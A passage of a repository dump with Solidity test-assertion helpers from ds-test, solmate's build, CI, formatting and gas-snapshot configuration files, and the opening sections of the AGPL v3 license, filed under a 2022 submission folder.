function assertEq(int a, int b, string memory err) internal {
if (a != b) {
emit log_named_string("Error", err);
assertEq(a, b);
}
}
function assertEq(uint a, uint b) internal {
if (a != b) {
emit log("Error: a == b not satisfied [uint]");
emit log_named_uint(" Expected", b);
emit log_named_uint(" Actual", a);
fail();
}
}
function assertEq(uint a, uint b, string memory err) internal {
if (a != b) {
emit log_named_string("Error", err);
assertEq(a, b);
}
}
function assertEqDecimal(int a, int b, uint decimals) internal {
if (a != b) {
emit log("Error: a == b not satisfied [decimal int]");
emit log_named_decimal_int(" Expected", b, decimals);
emit log_named_decimal_int(" Actual", a, decimals);
fail();
}
}
function assertEqDecimal(int a, int b, uint decimals, string memory err) internal {
if (a != b) {
emit log_named_string("Error", err);
assertEqDecimal(a, b, decimals);
}
}
function assertEqDecimal(uint a, uint b, uint decimals) internal {
if (a != b) {
emit log("Error: a == b not satisfied [decimal uint]");
emit log_named_decimal_uint(" Expected", b, decimals);
emit log_named_decimal_uint(" Actual", a, decimals);
fail();
}
}
function assertEqDecimal(uint a, uint b, uint decimals, string memory err) internal {
if (a != b) {
emit log_named_string("Error", err);
assertEqDecimal(a, b, decimals);
}
}
function assertGt(uint a, uint b) internal {
if (a <= b) {
emit log("Error: a > b not satisfied [uint]");
emit log_named_uint(" Value a", a);
emit log_named_uint(" Value b", b);
fail();
}
}
function assertGt(uint a, uint b, string memory err) internal {
if (a <= b) {
emit log_named_string("Error", err);
assertGt(a, b);
}
}
function assertGt(int a, int b) internal {
if (a <= b) {
emit log("Error: a > b not satisfied [int]");
emit log_named_int(" Value a", a);
emit log_named_int(" Value b", b);
fail();
}
}
function assertGt(int a, int b, string memory err) internal {
if (a <= b) {
emit log_named_string("Error", err);
assertGt(a, b);
}
}
function assertGtDecimal(int a, int b, uint decimals) internal {
if (a <= b) {
emit log("Error: a > b not satisfied [decimal int]");
emit log_named_decimal_int(" Value a", a, decimals);
emit log_named_decimal_int(" Value b", b, decimals);
fail();
}
}
function assertGtDecimal(int a, int b, uint decimals, string memory err) internal {
if (a <= b) {
emit log_named_string("Error", err);
assertGtDecimal(a, b, decimals);
}
}
function assertGtDecimal(uint a, uint b, uint decimals) internal {
if (a <= b) {
emit log("Error: a > b not satisfied [decimal uint]");
emit log_named_decimal_uint(" Value a", a, decimals);
emit log_named_decimal_uint(" Value b", b, decimals);
fail();
}
}
function assertGtDecimal(uint a, uint b, uint decimals, string memory err) internal {
if (a <= b) {
emit log_named_string("Error", err);
assertGtDecimal(a, b, decimals);
}
}
function assertGe(uint a, uint b) internal {
if (a < b) {
emit log("Error: a >= b not satisfied [uint]");
emit log_named_uint(" Value a", a);
emit log_named_uint(" Value b", b);
fail();
}
}
function assertGe(uint a, uint b, string memory err) internal {
if (a < b) {
emit log_named_string("Error", err);
assertGe(a, b);
}
}
function assertGe(int a, int b) internal {
if (a < b) {
emit log("Error: a >= b not satisfied [int]");
emit log_named_int(" Value a", a);
emit log_named_int(" Value b", b);
fail();
}
}
function assertGe(int a, int b, string memory err) internal {
if (a < b) {
emit log_named_string("Error", err);
assertGe(a, b);
}
}
function assertGeDecimal(int a, int b, uint decimals) internal {
if (a < b) {
emit log("Error: a >= b not satisfied [decimal int]");
emit log_named_decimal_int(" Value a", a, decimals);
emit log_named_decimal_int(" Value b", b, decimals);
fail();
}
}
function assertGeDecimal(int a, int b, uint decimals, string memory err) internal {
if (a < b) {
emit log_named_string("Error", err);
assertGeDecimal(a, b, decimals);
}
}
function assertGeDecimal(uint a, uint b, uint decimals) internal {
if (a < b) {
emit log("Error: a >= b not satisfied [decimal uint]");
emit log_named_decimal_uint(" Value a", a, decimals);
emit log_named_decimal_uint(" Value b", b, decimals);
fail();
}
}
function assertGeDecimal(uint a, uint b, uint decimals, string memory err) internal {
if (a < b) {
emit log_named_string("Error", err);
assertGeDecimal(a, b, decimals);
}
}
function assertLt(uint a, uint b) internal {
if (a >= b) {
emit log("Error: a < b not satisfied [uint]");
emit log_named_uint(" Value a", a);
emit log_named_uint(" Value b", b);
fail();
}
}
function assertLt(uint a, uint b, string memory err) internal {
if (a >= b) {
emit log_named_string("Error", err);
assertLt(a, b);
}
}
function assertLt(int a, int b) internal {
if (a >= b) {
emit log("Error: a < b not satisfied [int]");
emit log_named_int(" Value a", a);
emit log_named_int(" Value b", b);
fail();
}
}
function assertLt(int a, int b, string memory err) internal {
if (a >= b) {
emit log_named_string("Error", err);
assertLt(a, b);
}
}
function assertLtDecimal(int a, int b, uint decimals) internal {
if (a >= b) {
emit log("Error: a < b not satisfied [decimal int]");
emit log_named_decimal_int(" Value a", a, decimals);
emit log_named_decimal_int(" Value b", b, decimals);
fail();
}
}
function assertLtDecimal(int a, int b, uint decimals, string memory err) internal {
if (a >= b) {
emit log_named_string("Error", err);
assertLtDecimal(a, b, decimals);
}
}
function assertLtDecimal(uint a, uint b, uint decimals) internal {
if (a >= b) {
emit log("Error: a < b not satisfied [decimal uint]");
emit log_named_decimal_uint(" Value a", a, decimals);
emit log_named_decimal_uint(" Value b", b, decimals);
fail();
}
}
function assertLtDecimal(uint a, uint b, uint decimals, string memory err) internal {
if (a >= b) {
emit log_named_string("Error", err);
assertLtDecimal(a, b, decimals);
}
}
function assertLe(uint a, uint b) internal {
if (a > b) {
emit log("Error: a <= b not satisfied [uint]");
emit log_named_uint(" Value a", a);
emit log_named_uint(" Value b", b);
fail();
}
}
function assertLe(uint a, uint b, string memory err) internal {
if (a > b) {
emit log_named_string("Error", err);
assertLe(a, b);
}
}
function assertLe(int a, int b) internal {
if (a > b) {
emit log("Error: a <= b not satisfied [int]");
emit log_named_int(" Value a", a);
emit log_named_int(" Value b", b);
fail();
}
}
function assertLe(int a, int b, string memory err) internal {
if (a > b) {
emit log_named_string("Error", err);
assertLe(a, b);
}
}
function assertLeDecimal(int a, int b, uint decimals) internal {
if (a > b) {
emit log("Error: a <= b not satisfied [decimal int]");
emit log_named_decimal_int(" Value a", a, decimals);
emit log_named_decimal_int(" Value b", b, decimals);
fail();
}
}
function assertLeDecimal(int a, int b, uint decimals, string memory err) internal {
if (a > b) {
emit log_named_string("Error", err);
assertLeDecimal(a, b, decimals);
}
}
function assertLeDecimal(uint a, uint b, uint decimals) internal {
if (a > b) {
emit log("Error: a <= b not satisfied [decimal uint]");
emit log_named_decimal_uint(" Value a", a, decimals);
emit log_named_decimal_uint(" Value b", b, decimals);
fail();
}
}
function assertLeDecimal(uint a, uint b, uint decimals, string memory err) internal {
if (a > b) {
emit log_named_string("Error", err);
assertGeDecimal(a, b, decimals);
}
}
function assertEq(string memory a, string memory b) internal {
if (keccak256(abi.encodePacked(a)) != keccak256(abi.encodePacked(b))) {
emit log("Error: a == b not satisfied [string]");
emit log_named_string(" Value a", a);
emit log_named_string(" Value b", b);
fail();
}
}
function assertEq(string memory a, string memory b, string memory err) internal {
if (keccak256(abi.encodePacked(a)) != keccak256(abi.encodePacked(b))) {
emit log_named_string("Error", err);
assertEq(a, b);
}
}
function checkEq0(bytes memory a, bytes memory b) internal pure returns (bool ok) {
ok = true;
if (a.length == b.length) {
for (uint i = 0; i < a.length; i++) {
if (a[i] != b[i]) {
ok = false;
}
}
} else {
ok = false;
}
}
function assertEq0(bytes memory a, bytes memory b) internal {
if (!checkEq0(a, b)) {
emit log("Error: a == b not satisfied [bytes]");
emit log_named_bytes(" Expected", a);
emit log_named_bytes(" Actual", b);
fail();
}
}
function assertEq0(bytes memory a, bytes memory b, string memory err) internal {
if (!checkEq0(a, b)) {
emit log_named_string("Error", err);
assertEq0(a, b);
}
}
}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/.dapprc
================================================
# Basic build/test configuration.
export DAPP_SOLC_VERSION=0.8.10
export DAPP_BUILD_OPTIMIZE=1
export DAPP_BUILD_OPTIMIZE_RUNS=1000000
export DAPP_LINK_TEST_LIBRARIES=0
export DAPP_TEST_VERBOSITY=1
export DAPP_TEST_SMTTIMEOUT=500000
if [ "$DEEP_FUZZ" = "true" ]
then
export DAPP_TEST_FUZZ_RUNS=10000 # Fuzz for a long time if DEEP_FUZZ is set to true.
else
export DAPP_TEST_FUZZ_RUNS=100 # Only fuzz briefly if DEEP_FUZZ is not set to true.
fi
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/.gas-snapshot
================================================
testFailSetAuthorityWithRestrictiveAuthority() (gas: 126002)
testSetAuthorityWithPermissiveAuthority() (gas: 127687)
testFailSetOwnerWithRestrictiveAuthority() (gas: 126166)
testFailCallFunctionAsNonOwner() (gas: 4191)
testSetAuthorityAsOwner() (gas: 23802)
testFailCallFunctionAsOwnerWithOutOfOrderAuthority() (gas: 135733)
testCallFunctionWithPermissiveAuthority() (gas: 125973)
testFailSetAuthorityAsNonOwner() (gas: 6960)
testFailSetOwnerAsOwnerWithOutOfOrderAuthority() (gas: 135873)
testCallFunctionAsOwner() (gas: 21371)
testFailCallFunctionWithRestrictiveAuthority() (gas: 126125)
testSetOwnerWithPermissiveAuthority() (gas: 147508)
testFailSetOwnerAsNonOwner() (gas: 4309)
testSetAuthorityAsOwnerWithOutOfOrderAuthority() (gas: 234329)
testSetOwnerAsOwner() (gas: 3998)
testFromLast20Bytes() (gas: 191)
testFillLast12Bytes() (gas: 223)
testFailDoubleDeploySameBytecode() (gas: 277076930206699)
testDeployERC20() (gas: 873896)
testFailDoubleDeployDifferentBytecode() (gas: 277076930214885)
testFailBoundMinBiggerThanMax() (gas: 309)
testBound() (gas: 5520)
testFailSafeBatchTransferFromToRevertingERC1155Recipient() (gas: 1041163)
testMintToEOA() (gas: 30265)
testFailMintToNonERC155Recipient() (gas: 71897)
testFailSafeBatchTransferFromToZero() (gas: 805864)
testBatchMintToERC1155Recipient() (gas: 946375)
testApproveAll() (gas: 26509)
testFailSafeBatchTransferFromWithArrayLengthMismatch() (gas: 681042)
testFailBatchMintToZero() (gas: 127242)
testFailSafeBatchTransferFromToWrongReturnDataERC1155Recipient() (gas: 993087)
testSafeTransferFromToERC1155Recipient() (gas: 1210543)
testFailBatchMintToWrongReturnDataERC1155Recipient() (gas: 314473)
testFailBatchMintToRevertingERC1155Recipient() (gas: 362536)
testBatchBurn() (gas: 146591)
testFailBurnInsufficientBalance() (gas: 30352)
testFailSafeTransferFromToWrongReturnDataERC1155Recipient() (gas: 243471)
testFailMintToRevertingERC155Recipient() (gas: 263148)
testFailSafeBatchTransferFromToNonERC1155Recipient() (gas: 849621)
testFailSafeTransferFromInsufficientBalance() (gas: 579173)
testFailSafeTransferFromToNonERC155Recipient() (gas: 100376)
testFailBatchMintToNonERC1155Recipient() (gas: 171010)
testSafeBatchTransferFromToEOA() (gas: 817122)
testFailSafeTransferFromToRevertingERC1155Recipient() (gas: 291604)
testBatchMintToEOA() (gas: 132842)
testFailBatchBurnInsufficientBalance() (gas: 131673)
testSafeBatchTransferFromToERC1155Recipient() (gas: 1650504)
testFailBalanceOfBatchWithArrayMismatch() (gas: 4798)
testFailSafeBatchTransferInsufficientBalance() (gas: 682003)
testSafeTransferFromToEOA() (gas: 609087)
testMintToERC1155Recipient() (gas: 612041)
testFailBatchMintWithArrayMismatch() (gas: 5118)
testBatchBalanceOf() (gas: 153798)
testFailSafeTransferFromToZero() (gas: 57667)
testFailSafeTransferFromSelfInsufficientBalance() (gas: 29956)
testBurn() (gas: 34098)
testFailBatchBurnWithArrayLengthMismatch() (gas: 131065)
testFailMintToZero() (gas: 29205)
testSafeTransferFromSelf() (gas: 59828)
testFailMintToWrongReturnDataERC155Recipient() (gas: 263102)
testInfiniteApproveTransferFrom() (gas: 387796)
testApprove() (gas: 26558)
testMetaData() (gas: 6966)
testTransferFrom() (gas: 388134)
testFailTransferFromInsufficientBalance() (gas: 359401)
testFailPermitPastDeadline() (gas: 2197)
testFailPermitReplay() (gas: 59949)
testMint() (gas: 49180)
testFailTransferFromInsufficientAllowance() (gas: 358925)
testTransfer() (gas: 75628)
testBurn() (gas: 52492)
testPermit() (gas: 56782)
testFailTransferInsufficientBalance() (gas: 48240)
testFailPermitBadDeadline() (gas: 30486)
testFailPermitBadNonce() (gas: 30436)
testSafeTransferFromToERC721Recipient() (gas: 908869)
testFailSafeMintToERC721RecipientWithWrongReturnDataWithData() (gas: 185732)
testApprove() (gas: 96031)
testFailBurnUnMinted() (gas: 3379)
testFailSafeTransferFromToERC721RecipientWithWrongReturnDataWithData() (gas: 213867)
testFailDoubleMint() (gas: 70935)
testApproveAll() (gas: 26585)
testFailApproveUnAuthorized() (gas: 73181)
testFailSafeTransferFromToRevertingERC721RecipientWithData() (gas: 259577)
testFailSafeMintToNonERC721RecipientWithData() (gas: 115867)
testMetadata() (gas: 6492)
testFailTransferFromWrongFrom() (gas: 71032)
testFailSafeMintToRevertingERC721Recipient() (gas: 230626)
testTransferFrom() (gas: 551359)
testFailSafeMintToNonERC721Recipient() (gas: 115042)
testFailDoubleBurn() (gas: 74563)
testFailSafeMintToERC721RecipientWithWrongReturnData() (gas: 184893)
testFailSafeTransferFromToNonERC721Recipient() (gas: 143245)
testMint() (gas: 72701)
testFailApproveUnMinted() (gas: 5694)
testFailTransferFromToZero() (gas: 71031)
testSafeMintToERC721Recipient() (gas: 408375)
testSafeTransferFromToEOA() (gas: 556215)
testSafeMintToEOA() (gas: 75400)
testFailSafeTransferFromToERC721RecipientWithWrongReturnData() (gas: 213093)
testTransferFromApproveAll() (gas: 553534)
testFailTransferFromUnOwned() (gas: 3500)
testFailSafeTransferFromToNonERC721RecipientWithData() (gas: 144048)
testBurn() (gas: 76417)
testFailSafeMintToRevertingERC721RecipientWithData() (gas: 231396)
testFailMintToZero() (gas: 1253)
testFailTransferFromNotOwner() (gas: 75544)
testSafeMintToERC721RecipientWithData() (gas: 429537)
testFailSafeTransferFromToRevertingERC721Recipient() (gas: 258848)
testSafeTransferFromToERC721RecipientWithData() (gas: 930031)
testTransferFromSelf() (gas: 103082)
testFPow() (gas: 1651)
testFailFDivZeroXY() (gas: 316)
testSqrt() (gas: 2492)
testFDiv() (gas: 733)
testFDivEdgeCases() (gas: 581)
testFMulEdgeCases() (gas: 801)
testFailFDivXYB() (gas: 294)
testFailFDivZeroY() (gas: 271)
testFMul() (gas: 669)
testSetRoles() (gas: 33023)
testCanCallWithCustomAuthorityOverridesPublicCapability() (gas: 295417)
testCanCallPublicCapability() (gas: 39631)
testSetTargetCustomAuthority() (gas: 31736)
testCanCallWithCustomAuthorityOverridesUserWithRole() (gas: 334265)
testCanCallWithAuthorizedRole() (gas: 97461)
testSetRoleCapabilities() (gas: 32997)
testCanCallWithCustomAuthority() (gas: 466959)
testSetPublicCapabilities() (gas: 31468)
testNoReentrancy() (gas: 1015)
testProtectedCall() (gas: 23649)
testFailUnprotectedCall() (gas: 30515)
testSetRoles() (gas: 32998)
testCanCallPublicCapability() (gas: 38436)
testCanCallWithAuthorizedRole() (gas: 96267)
testSetRoleCapabilities() (gas: 34588)
testSetPublicCapabilities() (gas: 33244)
testWriteRead() (gas: 53511)
testWriteReadFullStartBound() (gas: 34725)
testFailWriteReadEmptyOutOfBounds() (gas: 34432)
testWriteReadFullBoundedRead() (gas: 53708)
testFailReadInvalidPointer() (gas: 2905)
testFailWriteReadOutOfStartBound() (gas: 34346)
testFailReadInvalidPointerCustomStartBound() (gas: 2982)
testWriteReadEmptyBound() (gas: 34639)
testFailWriteReadOutOfBounds() (gas: 34453)
testWriteReadCustomBounds() (gas: 34853)
testWriteReadCustomStartBound() (gas: 34768)
testFailReadInvalidPointerCustomBounds() (gas: 3143)
testSafeCastTo248() (gas: 433)
testSafeCastTo128() (gas: 455)
testSafeCastTo32() (gas: 432)
testFailSafeCastTo96() (gas: 320)
testSafeCastTo96() (gas: 475)
testFailSafeCastTo64() (gas: 299)
testSafeCastTo64() (gas: 454)
testFailSafeCastTo248() (gas: 298)
testFailSafeCastTo128() (gas: 342)
testFailSafeCastTo32() (gas: 297)
testFailTransferWithReturnsFalse() (gas: 27234)
testApproveWithStandardERC20() (gas: 26417)
testFailTransferFromWithReturnsFalse() (gas: 30377)
testTransferFromWithTransferFromSelf() (gas: 59377)
testFailTransferWithPausable() (gas: 4160)
testApproveWithNonContract() (gas: 3076)
testFailApproveWithPausable() (gas: 1219)
testFailTransferFromWithPausable() (gas: 5312)
testApproveWithMissingReturn() (gas: 26335)
testTransferFromWithMissingReturn() (gas: 59267)
testTransferWithStandardERC20() (gas: 28201)
testTransferFromWithStandardERC20() (gas: 59309)
testTransferFromWithNonContract() (gas: 3104)
testTransferWithMissingReturn() (gas: 28128)
testFailApproveWithReturnsFalse() (gas: 25283)
testTransferETH() (gas: 34636)
testTransferWithNonContract() (gas: 3075)
testApproveWithTransferFromSelf() (gas: 26416)
testTransferWithTransferFromSelf() (gas: 28182)
testFailTransferETHToContractWithoutFallback() (gas: 7222)
testPartialWithdraw() (gas: 68803)
testDeposit() (gas: 58804)
testFallbackDeposit() (gas: 59068)
testWithdraw() (gas: 68737)
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/.gitattributes
================================================
*.sol linguist-language=Solidity
.dapprc linguist-language=Shell
.gas-snapshot linguist-language=Julia
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/.github/workflows/tests.yml
================================================
name: Tests
on: [push, pull_request]
jobs:
tests:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- uses: actions/setup-node@v2
- uses: cachix/install-nix-action@v13
- uses: cachix/cachix-action@v10
with:
name: dapp
- name: Install dependencies
run: nix-shell --run 'make'
- name: Check gas snapshots
run: nix-shell --run 'dapp check-snapshot'
- name: Run tests
run: nix-shell --run 'dapp test'
env:
# Only fuzz deeply if we're pushing to main or this is a PR to main:
DEEP_FUZZ: ${{ github.ref == 'refs/heads/main' || github.base_ref == 'main' }}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/.gitignore
================================================
/cache
/node_modules
/out
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/.gitmodules
================================================
[submodule "lib/ds-test"]
path = lib/ds-test
url = https://github.com/dapphub/ds-test
[submodule "lib/weird-erc20"]
path = lib/weird-erc20
url = https://github.com/d-xo/weird-erc20
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/.prettierrc
================================================
{
"tabWidth": 2,
"printWidth": 100,
"overrides": [
{
"files": "*.sol",
"options": {
"tabWidth": 4,
"printWidth": 120
}
}
]
}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/.vscode/settings.json
================================================
{
"solidity.packageDefaultDependenciesContractsDirectory": "src",
"solidity.packageDefaultDependenciesDirectory": "lib",
"solidity.compileUsingRemoteVersion": "v0.8.10",
"search.exclude": { "lib": true },
"files.associations": {
".dapprc": "shellscript",
".gas-snapshot": "julia"
}
}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/LICENSE
================================================
GNU AFFERO GENERAL PUBLIC LICENSE
Version 3, 19 November 2007
Copyright (C) 2007 Free Software Foundation, Inc.
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU Affero General Public License is a free, copyleft license for
software and other kinds of works, specifically designed to ensure
cooperation with the community in the case of network server software.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
our General Public Licenses are intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
Developers that use our General Public Licenses protect your rights
with two steps: (1) assert copyright on the software, and (2) offer
you this License which gives you legal permission to copy, distribute
and/or modify the software.
A secondary benefit of defending all users' freedom is that
improvements made in alternate versions of the program, if they
receive widespread use, become available for other developers to
incorporate. Many developers of free software are heartened and
encouraged by the resulting cooperation. However, in the case of
software used on network servers, this result may fail to come about.
The GNU General Public License permits making a modified version and
letting the public access it on a server without ever releasing its
source code to the public.
The GNU Affero General Public License is designed specifically to
ensure that, in such cases, the modified source code becomes available
to the community. It requires the operator of a network server to
provide the source code of the modified version running there to the
users of that server. Therefore, public use of a modified version, on
a publicly accessible server, gives the public access to the source
code of the modified version.
An older license, called the Affero General Public License and
published by Affero, was designed to accomplish similar goals. This is
a different license, not a version of the Affero GPL, but Affero has
released a new version of the Affero GPL which permits relicensing under
this license.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU Affero General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
